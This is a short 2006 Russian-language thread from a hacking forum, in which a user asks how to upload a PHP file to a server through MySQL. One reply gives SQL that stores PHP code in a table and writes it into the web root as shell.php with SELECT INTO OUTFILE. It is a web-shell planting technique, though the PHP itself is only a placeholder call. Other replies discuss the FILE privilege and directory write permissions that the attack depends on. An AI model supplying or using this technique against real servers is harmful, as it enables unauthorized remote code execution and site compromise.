php через MySQL

Discussion in 'PHP' started by Grema, 16 Jan 2006.

  1. Grema

    Grema Elder - Старейшина

    Joined:
    29 Nov 2005
    Messages:
    109
    Likes Received:
    16
    Reputations:
    -4
    Как можно залить php файл через MySQL?
    Юзаю rst.void sql скрипт...
     
  2. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    580
    Likes Received:
    279
    Reputations:
    91
    смотря какие права у тебя есть.
    Например
    Code:
    //Создаём таблицу shell
    CREATE TABLE shell (code TEXT NULL);
    //вставляем в неё сам код шела
    INSERT INTO shell VALUES('<? shell(); ?>');
    //выводим шел в файл
    SELECT * FROM shell INTO OUTFILE '/home/PATH_TO_WWW/shell.php';
    
    но не факт. Это тоже от много зависит.
     
  3. Grrl

    Grrl Elder - Старейшина

    Joined:
    17 Jul 2004
    Messages:
    180
    Likes Received:
    54
    Reputations:
    29
    прежде всего зависит от того есть ли привилегия file у юзера sql .
    если нет то получишь сообщение об ошибке типо аксес денайд фор юзер....и т.п
     
  4. Zadoxlik

    Zadoxlik рояль с сыром

    Joined:
    28 Feb 2005
    Messages:
    758
    Likes Received:
    216
    Reputations:
    257
    Попасть в админку и там поковырять или так как уже тут сказали.
     
  5. fucker"ok

    fucker"ok Elder - Старейшина

    Joined:
    21 Nov 2004
    Messages:
    580
    Likes Received:
    279
    Reputations:
    91
    Я не знаю можно ли запретить OUTFILE для самого mysql, но mysql запущен от юзера mysql (покрайне мерее я так делаю, так рекомендует документация). Так что чтобы записать твой пхп код мало знать путь до WWW, нужно ещё иметь папочку с правами на запись для левых юзеров :]
     
  6. Cronyal

    Cronyal Elder - Старейшина

    Joined:
    7 Jan 2006
    Messages:
    27
    Likes Received:
    1
    Reputations:
    2
    конечно можно. админ мискл может запретить любые команды, даже SELECT)))
     
Loading...